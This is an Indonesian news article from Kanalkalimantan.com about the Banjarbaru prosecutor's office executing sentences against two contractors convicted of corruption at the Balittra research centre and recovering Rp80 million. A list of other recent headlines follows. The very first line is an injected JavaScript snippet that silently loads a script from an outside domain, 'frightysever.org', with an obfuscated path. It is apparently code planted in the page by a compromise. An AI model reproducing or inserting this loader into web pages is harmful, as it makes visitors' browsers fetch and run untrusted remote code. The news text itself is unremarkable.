(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Eksekusi Dua Terpidana Korupsi Balittra, Kejari Banjarbaru Pulihkan Kerugian Negara Rp80 Juta


KANALKALIMANTAN.COM, BANJARBARU – Jaksa Eksekutor dalam Tim Pidana Khusus Kejaksaan Negeri (Kejari) Banjarbaru berhasil melakukan eksekusi dan pemulihan keuangan negara, dalam tindak pidana korupsi (tipikor) yang terjadi di Balai Penelitian Pertanian Lahan Rawa (Balittra) Banjarbaru.

Kepala Kejari Banjarbaru, Andri Irawan, mengatakan keuangan negara yang diselamatkan dalam perkara yang terjadi pada 2015 silam tersebut mencapai Rp80 juta. “Kita melakukan pemulihan uang negara sebesar Rp80 juta, berdasarkan putusan majelis hakim pengadilan tipikor pada Pengadilan Negeri Banjarmasin. Uang ini telah disetorkan ke kas negara sebagai PNBP (Penerimaan Negara Bukan Pajak) melalui Bank Rakyat Indonesia (BRI),” katanya, Kamis (2/7/2020) sore.

Sebagaimana diketahui, dua orang kontraktor pelaksana proyek di Balittta Banjarbaru, berinisial SF dan DA, ditetapkan sebagai terpidana dalam perkara tipikor ini. Keduanya dieksekusi di Pengadilan Negeri (PN) Banjarmasin.

SF dan DA terbukti melakukan korupsi saat menjalankan pekerjaan proyek di Balittra Banjarbaru, dengan nilai kontrak Rp 1,2 miliar. Berdasarkan Laporan Hasil Pemeriksaan (LHP) Audit Kerugian Negara oleh Perwakilan Badan Pengawasan Keuangan dan Pembangunan (BPKP) Provinsi Kalimantan Selatan Nomor: SR-271/PW 16/5/2019, tanggal 23 Agustus 2019, korupsi yang dilakukan oleh keduanya mengakibatkan kerugian keuangan negara sebesar Rp 298.636.703.

Terungkapnya kasus ini berawal saat Polres Banjarbaru melakukan penyidikan pada 2019 lalu, 4 tahun setelah berjalannya proyek di Balittra Banjarbaru. Pada Januari 2020, berkas perkara penyidikan Polres Banjarbaru telah dinyatakan lengkap oleh Kejari Banjarbaru dan selanjutnya dilimpahkan ke PN Banjarmasin untuk dieksekusi.

Atas terbukti bersalah melakukan korupsi, SF dan DA dijerat pasal 3 jo Pasal 18 UU RI No 31 Tahun 1999 sebagaimana telah diubah dan ditambah dengan UU RI No 20 Tahun 2001 tentang Perubahan atas UU RI No 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke 1 KUHP. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

22 menit ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

42 menit ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

1 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

1 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

2 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

2 jam ago

This website uses cookies.